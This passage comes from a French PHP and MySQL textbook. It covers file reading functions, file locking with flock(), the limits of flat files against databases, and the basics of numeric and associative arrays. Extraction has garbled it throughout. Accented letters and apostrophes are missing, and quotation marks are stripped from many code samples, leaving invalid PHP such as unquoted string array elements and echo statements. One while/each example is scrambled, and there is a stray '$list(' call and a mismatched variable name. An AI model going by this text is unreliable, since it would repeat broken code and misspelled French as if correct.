fichier), la lecture du contenu se poursuit jusqu rencontrer la fin du fichier (EOF).
Lecture dune ligne la fois : fgets(), fgetss() et fgetcsv()
Dans le Listing 2.2, on lit le contenu du fichier laide de la fonction fgets() :
$commande= fgets($fp, 999);

La fonction fgets() lit une ligne la fois dans un fichier. Dans notre exemple, la
lecture se poursuit jusqu ce que linterprteur rencontre un caractre de nouvelle ligne

78

Partie I

Utilisation de PHP

(\n), EOF ou jusqu ce que 998 octets aient t lus dans le fichier. Le nombre maximal
doctets lus est la longueur indique en deuxime paramtre, moins un.
Vous disposez de plusieurs fonctions pour lire le contenu dun fichier. La fonction
fgets() convient bien pour les fichiers au format texte seul qui doivent tre traits par
morceaux.
La fonction fgetss() constitue une variante intressante de la fonction fgets(). Son
prototype est le suivant :
string fgetss(resource fp, int longueur, string [balises_autorises]);

fgetss() est trs semblable fgets(), si ce nest quelle supprime toutes les balises
PHP et HTML contenues dans la chane lue. Pour empcher la suppression de certaines
balises, il suffit de les numrer dans la chane balises_autorises. La fonction
fgetss() sutilise par mesure de scurit lors de la lecture dun fichier crit par un tiers
ou contenant des donnes saisies par lutilisateur. La prsence de code HTML dans un
fichier peut en effet perturber la mise en forme que vous avez soigneusement mise en
place. Par ailleurs, ne pas vrifier la prsence de code PHP dans un fichier peut permettre
un utilisateur malveillant de prendre le contrle de votre serveur.

La fonction fgetcsv () est une autre variante de la fonction fgets(). Voici son prototype :
array fgetcsv ( resource fp, int longueur [, string dlimiteur [,
string encadrement]])

La fonction fgetcsv() semploie pour dcouper les lignes dun fichier en fonction dun
caractre de dlimitation (par exemple un caractre de tabulation comme ici ou une
virgule comme dans de nombreux fichiers produits par les tableurs et dautres applications). fgetscv() permet, par exemple, de reconstruire sparment les variables dune
commande plutt que les traiter sous la forme dune ligne de texte. Cette fonction
sutilise de la mme manire que fgets(), mais vous devez lui passer en paramtre le
dlimiteur utilis pour sparer les champs. Linstruction :
$commande = fgetcsv($fp, 100, "\t");

provoque la lecture dune ligne du fichier et son dcoupage selon chaque tabulation
(\t). Le rsultat obtenu est renvoy sous forme de tableau ($commande dans le
Listing 2.2). Les tableaux sont traits au Chapitre 3.
La valeur du paramtre longueur doit tre choisie de manire tre suprieure au
nombre de caractres de la ligne la plus longue du fichier lire.
Le paramtre encadrement indique le caractre qui encadre chacun des champs dune
ligne. Sil nest pas prcis, il prend comme valeur par dfaut lapostrophe double ( ").

Chapitre 2

Stockage et rcupration des donnes

79

Lecture de lintgralit du contenu dun fichier : readfile(), fpassthru()


et file()
Au lieu de lire un fichier ligne par ligne, vous pouvez lire son contenu dun seul trait.
Pour cela, vous disposez de quatre possibilits.
La premire mthode consiste utiliser la fonction readfile(). Le code du Listing 2.2
peut alors tre remplac par une seule instruction :
readfile("$DOCUMENT_ROOT/../orders/orders.txt");

Lappel de la fonction readfile() ouvre le fichier, affiche son contenu sur la sortie
standard (le navigateur web), puis ferme le fichier. Cette fonction a le prototype
suivant :
int readfile(string nomFichier, [int utiliser include path[, resource contexte]]);

Le second paramtre de la fonction readfile() est facultatif ; il indique si PHP doit


rechercher le fichier dans le include path. Ce paramtre fonctionne de la mme
manire que pour la fonction fopen(). Le paramtre facultatif contexte nest utilis
que lorsque des fichiers sont ouverts distance, par exemple via HTTP. Nous traiterons
de cette utilisation plus en dtail au Chapitre 18. La fonction readfile() renvoie le
nombre total doctets lus dans le fichier.
La deuxime mthode pour lire lintgralit dun fichier consiste utiliser la fonction
fpassthru(). Dans ce cas, vous devez pralablement ouvrir le fichier avec fopen().
Vous passez ensuite le descripteur de fichier en paramtre fpassthru(), qui renverra
sur la sortie standard le contenu du fichier compris entre la position du pointeur et la fin
du fichier. Cette fonction ferme le fichier une fois quelle en a termin.
Le script du Listing 2.2 peut ainsi tre remplac par les deux instructions suivantes :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", rb);
fpassthru($fp);

Si la lecture russit, la fonction fpassthru() renvoie la valeur true. Elle renvoie false
en cas dchec.
La fonction file () offre une troisime possibilit de lecture de lintgralit du
contenu dun fichier. Cette fonction est identique readfile(), si ce nest quau lieu de
diriger le contenu du fichier vers la sortie standard elle le stocke dans un tableau. Nous
reviendrons sur cette possibilit au Chapitre 3. Notez simplement ce stade que cette
fonction sutilise de la manire suivante :
$tab_contenu = file($DOCUMENT_ROOT/../orders/orders.txt");

Lexcution de cette instruction provoque lenregistrement du contenu du fichier dans


un tableau appel $tab contenu. Chaque ligne du fichier est stocke dans le tableau
sous la forme dun lment distinct. Avec les anciennes versions de PHP, cette fonction
ntait pas compatible avec les formats de fichier binaires.

80

Partie I

Utilisation de PHP

Enfin, la quatrime possibilit consiste utiliser la fonction file get contents().


Cette fonction est identique readfile(), sauf quelle renvoie le contenu du fichier
sous la forme dune chane au lieu de lafficher dans le navigateur.
Lecture dun caractre : fgetc()
Le traitement dun fichier peut galement consister lire son contenu caractre par
caractre, au moyen de la fonction fgetc(). Cette fonction prend comme unique paramtre un descripteur de fichier et renvoie le caractre suivant dans ce fichier. Nous
pouvons remplacer la boucle while du Listing 2.2 par une boucle utilisant fgetc() :
while (!feof($fp))
{
$car = fgetc($fp);
if (!feof($fp))
echo ($car == "\n"? <br />: $car);
}

Ce code lit un caractre la fois dans le fichier, via fgetc(), et le stocke dans la variable
$car. Le processus se rpte jusqu ce que la fin du fichier soit atteinte. Les caractres
de fin de ligne (\n) sont ensuite remplacs par des sauts de ligne HTML (<br />).
Ce petit traitement vise simplement purer la mise en forme. Si vous essayiez dafficher le fichier en laissant les caractres de nouvelles lignes entre les enregistrements, la
totalit du fichier serait imprime sur une seule ligne (vous pouvez essayer par vousmme). En effet, les navigateurs web ignorent les caractres de nouvelles lignes quils
considrent comme des espaces : vous devez donc les remplacer par des sauts de ligne
HTML (<br />). Loprateur ternaire permet deffectuer ce remplacement de faon
simple et lgante.
Lutilisation de la fonction fgetc() au lieu de la fonction fgets() a une consquence
mineure : le caractre EOF est renvoy par la fonction fgetc(), ce qui nest pas le cas
avec la fonction fgets(). Il sensuit quaprs la lecture du caractre il est ncessaire
de tester nouveau feof() pour viter que le caractre EOF ne soit affich par le navigateur.
La lecture dun fichier caractre par caractre na de sens que dans des contextes trs
particuliers, o les caractres doivent tre lus les uns aprs les autres.
Lecture dune longueur arbitraire : fread()
La dernire mthode de lecture dun fichier que nous allons tudier est la fonction
fread(). Celle-ci permet de lire un nombre quelconque doctets dans un fichier.
Le prototype de cette fonction est le suivant :
string fread(resource fp, int longueur);

Chapitre 2

Stockage et rcupration des donnes

81

Cette fonction lit "longueur" octets ou lit jusqu la fin du fichier ou du paquet rseau,
si celle-ci survient avant que longueur octets aient t lus.

Autres fonctions utiles pour la manipulation des fichiers


PHP offre plusieurs autres fonctions qui peuvent se rvler utiles pour manipuler des
fichiers.
Vrification de lexistence dun fichier : file_exists()
La fonction file exists() permet de dterminer si un fichier existe, sans mme
louvrir. En voici un exemple dutilisation :
if (file_exists("$DOCUMENT_ROOT/../orders/orders.txt"))
echo "Des commandes sont en attente de traitement.";
else
echo "Il ny a pas de commande en attente.";

Dtermination de la taille dun fichier: filesize()


La fonction filesize() renvoie la taille dun fichier en octets :
echo filesize("$DOCUMENT_ROOT/../orders/orders.txt");

Vous pouvez utiliser cette fonction avec la fonction fread() pour lire tout un fichier (ou
une fraction dun fichier) dun seul trait. Le code du Listing 2.2 pourrait ainsi tre
remplac par les instructions suivantes :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", rb);
echo nl2br(fread($fp, filesize("$DOCUMENT_ROOT/../orders/orders.txt" )));
fclose( $fp );

La fonction nl2br() convertit les caractres \n en sauts de ligne XHTML (<br />)
dans la sortie.
Suppression dun fichier : unlink()
Si vous souhaitez dtruire le contenu du fichier de commandes aprs lavoir trait, utilisez
la fonction unlink() (PHP ne contient pas de fonction dnomme "delete") :
unlink("$DOCUMENT_ROOT/../orders/orders.txt");

Cette fonction renvoie false lorsque le fichier ne peut pas tre supprim, ce qui peut
arriver si, par exemple, vous navez pas les permissions suffisantes ou si le fichier
nexiste pas.
Navigation dans un fichier : rewind(), fseek() et ftell()
Vous pouvez manipuler et connatre la position du pointeur dans le fichier au moyen des
fonctions rewind(), fseek () et ftell().

82

Partie I

Utilisation de PHP

La fonction rewind () dplace le pointeur de fichier au dbut du fichier. La fonction


ftell () renvoie la position du pointeur dans le fichier, en nombre doctets compts
depuis le dbut du fichier. Par exemple, nous pourrions ajouter les lignes suivantes la
fin du Listing 2.2, avant lappel fclose() :
echo La position finale du pointeur de fichier est . (ftell($fp));
echo <br />;
rewind($fp);
echo "Aprs lappel rewind(), cette position is " . (ftell($fp));
echo <br />;

Le rsultat obtenu lexcution du script serait alors celui montr la Figure 2.5.

Figure 2.5
Aprs lecture des commandes, le pointeur de fichier est positionn la fin du fichier, cest--dire
279 octets par rapport au dbut du fichier. Lappel de la fonction rewind replace le pointeur la
position 0, cest--dire au dbut du fichier.

La fonction fseek() permet de dplacer le pointeur de fichier une position spcifique


dans le fichier. Son prototype est le suivant :
int fseek ( resource fp, int offset [, int dpart])

Lappel de la fonction fseek() provoque le dplacement du pointeur de fichier fp de


offset octets par rapport lemplacement dpart. La valeur par dfaut du paramtre
facultatif dpart est SEEK SET, ce qui correspond au dbut du fichier. Les autres valeurs
possibles sont SEEK CUR (lemplacement courant dans le fichier) et SEEK END (la fin du
fichier).
Lappel de la fonction rewind() quivaut donc un appel de la fonction fseek() avec
la valeur 0 pour le paramtre offset. La fonction fseek() peut, par exemple, servir
dterminer lenregistrement qui constitue le milieu dun fichier ou effectuer une
recherche dichotomique. Toutefois, si vous avez besoin de raliser ce genre doprations
sur un fichier de donnes, il est prfrable de recourir une base de donnes.

Chapitre 2

Stockage et rcupration des donnes

83

Verrouillage des fichiers


Considrons une situation o deux clients tentent simultanment de commander un
mme produit (ce cas se produit souvent ds lors que les sites connaissent un minimum
daffluence). Quadvient-il lorsquun client invoque la fonction fopen() et commence
saisir sa commande, tandis quun autre client appelle lui aussi fopen() et entre des
donnes ? Quel est alors le contenu final du fichier ? La premire commande suivie de
la seconde, ou inversement ? Ou le fichier ne contiendra-t-il quune seule des deux
commandes ? Ou bien encore les deux commandes se mlangeront-elles ? La rponse
ces questions dpend du systme dexploitation utilis ; elle est souvent impossible
donner.
Le verrouillage des fichiers permet dviter ce type de problme. Celui-ci est implment en PHP par la fonction flock(), qui doit tre appele aprs louverture dun
fichier et avant toute lecture ou criture de donnes dans ce fichier.
La fonction flock() a le prototype suivant :
bool flock(resource fp, int operation [, int &blocage_possible])

Vous devez passer la fonction flock() un descripteur de fichier ouvert et une constante
reprsentant le type de verrouillage voulu. Elle renvoie true lorsque le verrouillage
russit et false en cas dchec. Le troisime paramtre facultatif contiendra la valeur
true si lacquisition du verrou entrane le blocage du processus courant (autrement dit,
sil doit attendre).
Le Tableau 2.2 prsente les valeurs possibles pour le paramtre operation. Ces valeurs
ayant t modifies partir de PHP 4.0.1, nous prsentons ici les deux ensembles de
valeurs possibles.
Tableau 2.2 : Valeurs possibles pour le paramtre operation de la fonction flock()

Valeur dopration

Signification

LOCK_SH (anciennement 1)

Verrouillage en lecture. Le fichier peut tre partag avec


dautres lecteurs.

LOCK_EX (anciennement 2)

Verrouillage en criture. Ce type de verrouillage est exclusif :


le fichier ne peut tre partag.

LOCK_UN (anciennement 3)

Libre le verrouillage existant.

LOCK_NB (anciennement 4)

Verrouillage non bloquant.

Pour que flock() serve quelque chose, vous devez lutiliser dans tous les scripts qui
manipulent le fichier verrouiller.

84

Partie I

Utilisation de PHP

Notez que flock() ne fonctionne pas avec NFS (Network File System) ou dautres
systmes de fichiers rseaux. Cette fonction est galement inoprante avec danciens
systmes de fichiers ne prenant pas en charge les verrous (FAT, par exemple). Sur
certains des systmes dexploitation pour lesquels cette fonction est implmente au
niveau processus, le verrouillage obtenu ne sera pas fiable si vous utilisez une API de
serveur multithread.
Pour utiliser les verrous dans notre exemple, nous pouvons modifier processorder.php
de la manire suivante :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);
flock($fp, LOCK_EX); // verrouillage du fichier en criture
fwrite($fp, $chaine_sortie);
flock($fp, LOCK_UN); // libration du verrou en criture
fclose($fp);

Vous devez galement modifier vieworders.php de la manire suivante :


$fp = fopen("$DOCUMENT_ROOT /../orders/orders.txt", rb);
flock($fp, LOCK_SH); // verrouillage du fichier en lecture
// Lecture du fichier
flock($fp, LOCK_UN); // libration du verrou en lecture
fclose($fp);

Grce aux modifications que nous venons dapporter notre exemple, notre code est un
peu plus fiable, mais il ne lest pas encore suffisamment. Que se passera-t-il si deux
scripts tentent simultanment dacqurir un verrou ? Il sensuivra une situation de
concurrence dont lissue ne peut pas tre dtermine. Ce cas de figure peut se rvler
problmatique et tre vit par lemploi dun SGBD (systme de gestion de base de
donnes).

Une meilleure solution : les systmes de gestion de base de donnes


Jusqu prsent, tous les exemples considrs utilisaient des fichiers plats. Dans la
deuxime partie de ce livre, nous verrons comment utiliser MySQL, un systme de
gestion de base de donnes relationnelle (SGBDR).
Problmes poss par lusage de fichiers plats
Lutilisation de fichiers plats pose divers problmes :
m

Ds lors quun fichier devient volumineux, sa manipulation peut se rvler trs


lente.
La recherche dun enregistrement ou dun ensemble denregistrements dans un
fichier plat est une opration difficile. Lorsque les enregistrements sont ordonns, il est possible de mettre en uvre une procdure de recherche tenant compte
des longueurs fixes des champs pour effectuer une recherche sur un champ cl.

Chapitre 2

Stockage et rcupration des donnes

85

Seulement, si vous voulez trouver des motifs dinformation (par exemple lister tous
les clients qui vivent Paris), il vous faudra lire chaque enregistrement et le vrifier
individuellement.
m

La gestion des accs concurrents est problmatique. Nous avons vu comment


verrouiller des fichiers, mais nous avons galement mentionn le risque persistant
de situation concurrentielle. Des accs concurrents peuvent galement tre
lorigine de goulots dtranglements. Si le trafic sur le site prend de lampleur, il
peut arriver que de nombreux utilisateurs aient attendre le dverrouillage du
fichier pour valider leur commande. De trop longues attentes font fuir les clients.
Dans toutes les manipulations de fichiers dcrites jusquici, les traitements taient
mis en uvre de faon squentielle, cest--dire en partant du dbut du fichier et en
parcourant le contenu du fichier jusqu la fin. Sil apparat ncessaire dinsrer ou
de supprimer des enregistrements partir du milieu du fichier (accs direct), le
mode de traitement squentiel peut poser problme : il implique de lire et de placer
en mmoire lintgralit du fichier, dapporter les modifications et de rcrire
nouveau le fichier. La charge du traitement peut alors devenir trs lourde avec des
fichiers de donnes volumineux.
Au-del de la limite offerte par les permissions sur les fichiers, il nexiste pas de
moyen simple dimplmenter des niveaux daccs diffrents aux donnes.

La solution apporte par les SGBDR ces problmes


Les systmes de gestion de base de donnes relationnelle (SGBDR) apportent des solutions
tous les problmes voqus plus haut :
m

m
m

Ils permettent daccder bien plus rapidement aux donnes. MySQL, le SGBDR
tudi dans cet ouvrage, est apparu comme le plus rapide du march.
Ils peuvent tre facilement interrogs afin den extraire des ensembles de donnes
rpondant des critres spcifiques.
Ils intgrent des mcanismes prenant en charge les accs concurrents, ce qui
dispense le programmeur de sen proccuper.
Ils permettent un accs direct aux donnes.
Ils comprennent des systmes de privilges intgrs. MySQL est particulirement
performant dans ce domaine.

Le principal avantage dun SGBDR est que toutes (ou presque) les fonctionnalits
requises pour un systme de stockage des donnes sont dj implmentes. Vous
pouvez bien sr crire votre propre bibliothque de fonctions PHP, mais pourquoi rinventer la roue ?

86

Partie I

Utilisation de PHP

Dans la Partie II de cet ouvrage, "Utilisation de MySQL", nous examinerons le fonctionnement des bases de donnes relationnelles en gnral et nous verrons plus spcifiquement comment configurer et utiliser MySQL pour crer des sites web reposant sur
des bases de donnes.
Si vous mettez en place un systme simple et que vous ne pensiez pas avoir besoin
dune base de donnes sophistique, tout en souhaitant viter le verrouillage et les
autres problmes lis lutilisation dun fichier plat, il peut tre intressant de considrer lextension SQLite de PHP. Cette extension fournit une interface SQL vers les
fichiers plats. Dans ce livre, nous traiterons principalement de lutilisation de MySQL.
Pour plus dinformations sur SQLite, consultez les sites http://sqlite.org/ et http://
www.php.net/sqlite.

Pour aller plus loin


Pour plus dinformations sur linteraction avec le systme de fichiers, vous pouvez vous
reporter directement au Chapitre 17. Ce chapitre explique comment modifier les
permissions et les noms de fichiers, comment travailler avec les rpertoires et comment
interagir avec lenvironnement du systme de fichiers.
Vous pouvez galement consulter la section du manuel en ligne de PHP (http://
fr2.php.net/filesystem) consacre au systme de fichier.

Pour la suite
Au cours du Chapitre 3, nous tudierons les tableaux et nous verrons comment les utiliser
pour traiter des donnes dans des scripts PHP.

3
Utilisation de tableaux
Ce chapitre montre comment utiliser une construction de programmation importante :
les tableaux. Les variables examines dans les chapitres prcdents taient de type
scalaire, cest--dire quelles ne stockaient chacune quune seule valeur. Un tableau, en
revanche, est une variable stockant un ensemble ou une srie de valeurs. Un mme
tableau peut contenir de nombreux lments, chacun deux pouvant tre une valeur
unique, comme un texte ou un nombre, ou un autre tableau. Un tableau comprenant
dautres tableaux est dit "multidimensionnel".
PHP supporte les tableaux indics par des nombres et les tableaux associatifs. Les
tableaux indics par des nombres devraient vous tre familiers si vous avez dj utilis
un langage de programmation. En revanche, vous navez peut-tre jamais vu de
tableaux associatifs, bien que vous ayez pu rencontrer ailleurs des choses similaires,
comme les mappages, les hachages ou les dictionnaires. Les tableaux associatifs
permettent dindicer les lments par des valeurs plus significatives que des nombres :
des mots, par exemple.
Dans ce chapitre, nous poursuivrons la construction de lapplication du garage de Bob
commence dans les chapitres prcdents, en nous servant de tableaux pour faciliter la
manipulation des informations rptitives comme les commandes des clients. Lusage
de tableaux nous permettra dcrire un code plus concis pour raliser certaines des
oprations sur les fichiers du Chapitre 2.

Quest-ce quun tableau ?


Nous avons tudi les variables scalaires au Chapitre 1. Une variable scalaire est un
emplacement de la mmoire dsign par un nom et dans lequel peut tre stocke une
valeur. De la mme manire, un tableau est un emplacement de la mmoire dsign par

88

Partie I

Utilisation de PHP

un nom et dans lequel peut tre enregistr un ensemble de valeurs. Un tableau permet
par consquent de regrouper des valeurs scalaires.
Dans lapplication du garage de Bob dont nous avons commenc llaboration, nous
utiliserons un tableau pour stocker la liste des articles vendus. La Figure 3.1 montre une
liste de trois articles regroups dans un tableau nomm $produits (nous verrons un peu
plus loin comment crer une telle variable).
Pneus

Huiles

Bougies

produit

Figure 3.1
Les articles vendus par lentreprise de Bob peuvent tre enregistrs dans un tableau.

Ds lors que des informations sont enregistres dans un tableau, elles peuvent tre
soumises diverses manipulations trs intressantes. Cest ainsi quavec les constructions de boucles dcrites au Chapitre 1, vous pouvez vous simplifier la tche en effectuant les mmes actions sur chacune des valeurs du tableau. Lensemble des
informations enregistres dans un tableau peut tre manipul comme sil sagissait
dune seule entit. Ainsi, avec une simple ligne de code, toutes les valeurs dun tableau
peuvent tre passes une fonction. Pour, par exemple, trier les articles de Bob par
ordre alphabtique, il nous suffira de passer le tableau qui les contient la fonction
sort().
Les valeurs stockes dans un tableau sont appeles lments du tableau. chaque
lment dun tableau est associ un indice (galement appel cl) qui permet daccder
cet lment.
Dans la plupart des langages de programmation, les tableaux ont des indices numriques
qui commencent gnralement 0 ou 1.
PHP permet dutiliser des nombres ou des chanes comme indices de tableau. Vous
pouvez utiliser des tableaux indics par des nombres, selon la manire traditionnelle, ou
choisir les valeurs que vous souhaitez pour les cls, afin de rendre lindexation plus
comprhensible et utile. Vous avez peut-tre dailleurs dj employ cette technique si
vous avez utilis des tableaux associatifs, des mappages, des hachages ou des dictionnaires dans dautres langages de programmation. Lapproche peut varier lgrement
selon que vous utilisez des tableaux classiques indics par des nombres ou tableaux
indics par des valeurs personnalises. Nous commencerons cette tude par les
tableaux indices numriques avant de passer aux cls dfinies par lutilisateur.

Chapitre 3

Utilisation de tableaux

89

Tableaux indices numriques


Ce type de tableau existe dans la plupart des langages de programmation. En PHP, les
indices commencent par dfaut zro, mais cette valeur initiale peut tre modifie.
Initialisation des tableaux indices numriques
Pour crer le tableau montr la Figure 3.1, utilisez la ligne de code suivante :
$produits = array( Pneus, Huiles, Bougies );

Cette instruction cre un tableau $produits contenant les trois valeurs Pneus,
Huiles et Bougies. Notez que, comme echo, array() est une construction du
langage plutt quune fonction.
Selon le contenu enregistrer dans un tableau, il nest pas forcment ncessaire
dinitialiser manuellement ce contenu comme on la fait dans linstruction prcdente.
Si les donnes placer dans un tableau sont dj contenues dans un autre tableau, il
suffit de copier un tableau dans lautre au moyen de loprateur =.
Une srie de nombres croissants peut tre automatiquement enregistre dans un tableau
grce la fonction range(), qui se charge elle-mme de crer le tableau requis. La ligne
qui suit cre un tableau $nombres dont les lments sont les nombres entiers compris
entre 1 et 10 :
$nombres = range(1,10);

La fonction range() possde un troisime paramtre facultatif qui vous permet de dfinir la taille du pas entre les valeurs. Par exemple, pour crer un tableau des nombres
impairs compris entre 1 et 10, procdez de la manire suivante :
$impairs = range(1, 10, 2);

La fonction range() peut galement tre utilise avec des caractres, comme dans cet
exemple :
$lettres = range(a, z);

Lorsque des informations sont contenues dans un fichier stock sur disque, le tableau
peut tre directement charg partir du fichier. Nous reviendrons sur ce point un peu
plus loin dans ce chapitre, dans la section "Chargement de tableaux partir de fichiers".
Lorsque des informations sont contenues dans une base de donnes, le tableau peut
tre directement charg partir de la base de donnes. Cette possibilit est traite au
Chapitre 11.
PHP offre galement diverses fonctions permettant dextraire des parties dun tableau
ou de rorganiser les lments. Certaines de ces fonctions seront dcrites plus loin dans
ce chapitre, dans la section "Autres manipulations de tableaux".

90

Partie I

Utilisation de PHP

Accs au contenu des tableaux


Laccs au contenu dune variable implique dindiquer le nom de cette variable. Pour
accder au contenu dune variable de type tableau, vous devez utiliser le nom de la
variable et une cl (ou un indice). La cl ou lindice indique les valeurs stockes
auxquelles vous voulez accder. La cl ou lindice doivent tre spcifis entre crochets,
juste aprs le nom de la variable.
Par exemple, servez-vous de $produits[0], $produits[1] et $produits[2] pour accder au contenu du tableau $produits.
Par dfaut, llment dindice zro est le premier lment du tableau. Le principe de
numrotation de PHP est identique celui de nombreux autres langages de programmation comme C, C++ ou Java. Si toutefois vous ne connaissez aucun de ces langages, il
vous faudra peut-tre un peu de temps pour vous y accoutumer.
Tout comme pour les autres variables, la modification du contenu des lments dun
tableau seffectue au moyen de loprateur =. La ligne de code qui suit remplace le
premier lment du tableau $produits, Pneus, par llment Fusibles :
$produits[0] = Fusibles;

Linstruction qui suit ajoute un nouvel lment, Fusibles, la fin du tableau ;


$produits a dsormais quatre lments :
$produits[3] = Fusibles;

La ligne de code suivante affiche le contenu du tableau :


echo "$produits[0] $produits[1] $produits[2] $produits[3]";

Bien que lanalyse des chanes par PHP soit particulirement bien labore, vous pouvez
commettre des erreurs dans ce domaine. Si vous avez des problmes avec des tableaux
ou des variables non correctement interprts lorsquils sont encadrs par des apostrophes doubles, mettez-les hors de ceux-ci ou utilisez la syntaxe complexe prsente au
Chapitre 4. La prcdente instruction echo fonctionnera correctement, mais vous
rencontrerez plusieurs autres exemples au cours de ce chapitre dans lesquels les variables
sont situes en dehors des chanes encadres par des apostrophes doubles.
Tout comme les autres variables PHP, les tableaux ne ncessitent pas une initialisation
ou une cration pralables. Ils sont automatiquement crs leur premire utilisation.
Le code qui suit conduit la cration du mme tableau $produits que celui que lon a
cr plus haut avec array() :
$produits[0] = Pneus;
$produits[1] = Huiles;
$produits[2] = Bougies;

Chapitre 3

Utilisation de tableaux

91

Si le tableau $produits nexiste pas encore, la premire ligne cre un nouveau tableau
form dun seul lment. Les lignes qui suivent ajoutent des valeurs au tableau qui vient
dtre cr. Le tableau est redimensionn dynamiquement lorsque vous lui ajoutez des
lments. Cette possibilit de redimensionnement nexiste pas dans la plupart des autres
langages de programmation.
Utilisation de boucles pour accder au contenu dun tableau
Lorsquun tableau est indic par une srie de nombres, son contenu peut tre affich
plus facilement grce une boucle for :
for ( $i = 0; $i<3; $i++ ) {
echo "$produits[$i] ";
}

Cette boucle produit une sortie identique celle obtenue prcdemment, tout en tant
plus compacte. La possibilit dutiliser ainsi une simple boucle pour accder chaque
lment dun tableau est une particularit apprciable des tableaux.
Nous pouvons galement nous servir dune boucle foreach, qui a t spcialement
conue pour tre utilise avec les tableaux :
foreach ($produits as $element){
echo $element . ;
}

Ce code enregistre tour tour chacun des lments du tableau dans la variable $element
et affiche le contenu de celle-ci.

Tableaux avec des indices diffrents


Dans le tableau $produits, nous avons laiss PHP utiliser des indices par dfaut pour
chacun des lments. Cela signifie que le premier est llment 0, le deuxime,
llment 1, et ainsi de suite. Avec PHP, vous pouvez galement choisir les cls ou les
indices qui serviront indexer un tableau.
Initialisation dun tableau
Linstruction qui suit cre un tableau dont les cls sont les noms des articles et les
valeurs sont les prix :
$prix = array(Pneus=>100, Huiles=>10, Bougies=>4 );

Le symbole entre les cls et les valeurs est simplement un signe gal immdiatement
suivi par un symbole suprieur .

92

Partie I

Utilisation de PHP

Accs aux lments du tableau


L encore, laccs au contenu du tableau seffectue en spcifiant le nom de la variable
et une cl. Pour accder au contenu du tableau $prix, nous pouvons donc utiliser les
expressions $prix[ Pneus ], $prix[ Huiles ] et $prix[ Bougies ].
Les lignes de code qui suivent crent le mme tableau $prix que le prcdent mais,
au lieu de produire demble un tableau form de trois lments, cette version cre
dabord un tableau comprenant un seul lment, puis lui ajoute deux lments
supplmentaires.
$prix = array( Pneus=>100 );
$prix[Huile] = 10;
$prix[Bougies] = 4;

Voici une autre variante de ce fragment de code dont lexcution produit un rsultat
identique. Ce code ne cre pas explicitement le tableau, mais conduit indirectement sa
cration lors de lajout du premier lment :
$prix[Pneus] = 100;
$prix[Huiles] = 10;
$prix[Bougies] = 4;

Utilisation de boucles
Nous ne pouvons pas utiliser un simple compteur avec une boucle for pour parcourir le
tableau prcdent puisquil nest pas indic par des nombres. Cependant, nous pouvons
faire appel une boucle foreach ou aux constructions list() et each().
Avec un tableau associatif, la boucle foreach peut adopter une syntaxe lgrement
diffrente. Vous pouvez lutiliser exactement comme dans lexemple prcdent ou y
ajouter les cls :
foreach ($prix as $nom => $montant) {
echo "$nom: $montant<br />";
}

Le fragment de code qui suit affiche le contenu du tableau $prix avec each() :
while(
echo
echo
echo
echo
}

$element = each( $prix ) ) {


$element[ key ];
: ;
$element[ value ];
<br />;

Lexcution de ce code produit le rsultat montr la Figure 3.2.

Chapitre 3

Utilisation de tableaux

93

Figure 3.2
Utilisation dune instruction
each() pour parcourir
un tableau.

Au Chapitre 1, nous avons tudi la boucle while et linstruction echo. Le fragment de


code prcdent met en uvre la fonction each, que nous rencontrons ici pour la
premire fois. Cette fonction renvoie llment courant dun tableau et dplace le pointeur du tableau sur llment suivant. Dans ce code, la fonction each() est invoque au
sein dune boucle while, afin de renvoyer successivement les diffrents lments du
tableau. Lexcution de cette boucle prend fin lorsque linterprteur PHP atteint la fin
du tableau.
Dans ce code, la variable $element est un tableau. Lappel de la fonction each()
renvoie en effet un tableau de quatre lments. Les emplacements indics par key et 0
contiennent la cl de llment courant, tandis que les emplacements indics par value
et 1 contiennent la valeur de llment courant. Ici, nous avons choisi dutiliser des
noms plutt que des numros pour dsigner les emplacements. Au final, toutefois, ces
deux choix sont quivalents.
Il existe une manire plus lgante et plus commune dobtenir ce rsultat, en utilisant la
fonction list() pour dcouper le tableau en un ensemble de valeurs. Nous pouvons
ainsi sparer deux des valeurs renvoyes par la fonction each() de la manire suivante :
$list( $nom, $montant ) = each( $prix );

Dans cette ligne de code, la fonction each() est utilise pour obtenir llment
courant du tableau $prix, le renvoyer sous forme de tableau et pour passer
llment suivant. On utilise galement la fonction list() pour transformer les
lments 0 et 1 du tableau renvoy par la fonction each() en deux nouvelles variables
appeles $nom et $montant.
Nous pouvons parcourir tout le contenu du tableau $prix et lafficher dans la fentre du
navigateur au moyen des deux lignes de code suivantes :
while ( list( $nom, $montant ) = each( $prix ) ) {
echo "$nom: $montant<br />";
}

Lexcution de ces lignes de code produit le mme rsultat que celui de la Figure 3.2,
mais elles sont plus lisibles car la fonction list () permet daffecter des noms aux
variables.

94

Partie I

Utilisation de PHP

Avec la fonction each(), le tableau mmorise la position courante. Si vous devez utiliser deux fois le mme tableau dans un script, il faut par consquent replacer la position
courante du tableau au dbut de celui-ci avec la fonction reset(). Pour afficher une
seconde fois les prix des articles, il nous faudrait donc excuter les lignes de code
suivantes :
reset($prix);
while ( list( $nom, $montant ) = each( $prices ) ) {
echo "$nom: $montant<br />";
}

Oprateurs sur les tableaux


Un jeu spcial doprateurs ne sapplique quaux tableaux. La plupart dentre eux
possdent un quivalent dans les oprateurs scalaires, comme vous pouvez le remarquer
dans le Tableau 3.1.
Tableau 3.1 : Oprateurs de tableaux

Oprateur

Nom

Exemple

Rsultat

Union

$a + $b

Union de $a et $b. Le tableau $b est ajout


$a, mais les cls en double ne sont pas
ajoutes.

==

galit

$a == $b

True si $a et $b contiennent les mmes


lments.

===

Identit

$a === $b

True si $a et $b contiennent les mmes


lments, de mme type et dans le mme
ordre.

!=

Ingalit

$a!= $b

True si $a et $b ne contiennent pas les


mmes lments.

<>

Ingalit

$a <> $b

Identique !=.

!==

Non-identit

$a!== $b

True si $a et $b ne contiennent pas les


mmes lments, de mme type et dans le
mme ordre.

Ces oprateurs sont assez vidents comprendre, mais lunion requiert quelques
explications supplmentaires. Cet oprateur tente dajouter les lments de $b la
fin de $a. Si des lments de $b possdent les mmes cls que certains lments qui

Chapitre 3

Utilisation de tableaux

95

se trouvent dj dans $a, ils ne seront pas ajouts. Autrement dit, aucun lment de
$a nest cras.
Vous remarquerez que les oprateurs de tableaux du Tableau 3.1 possdent tous des
oprateurs quivalents qui fonctionnent sur les variables scalaires. Pour autant que vous
vous souveniez que + ralise laddition sur les types scalaires et lunion sur les tableaux,
les comportements sont logiques. Vous ne pouvez pas comparer de manire utile des
tableaux des types scalaires.

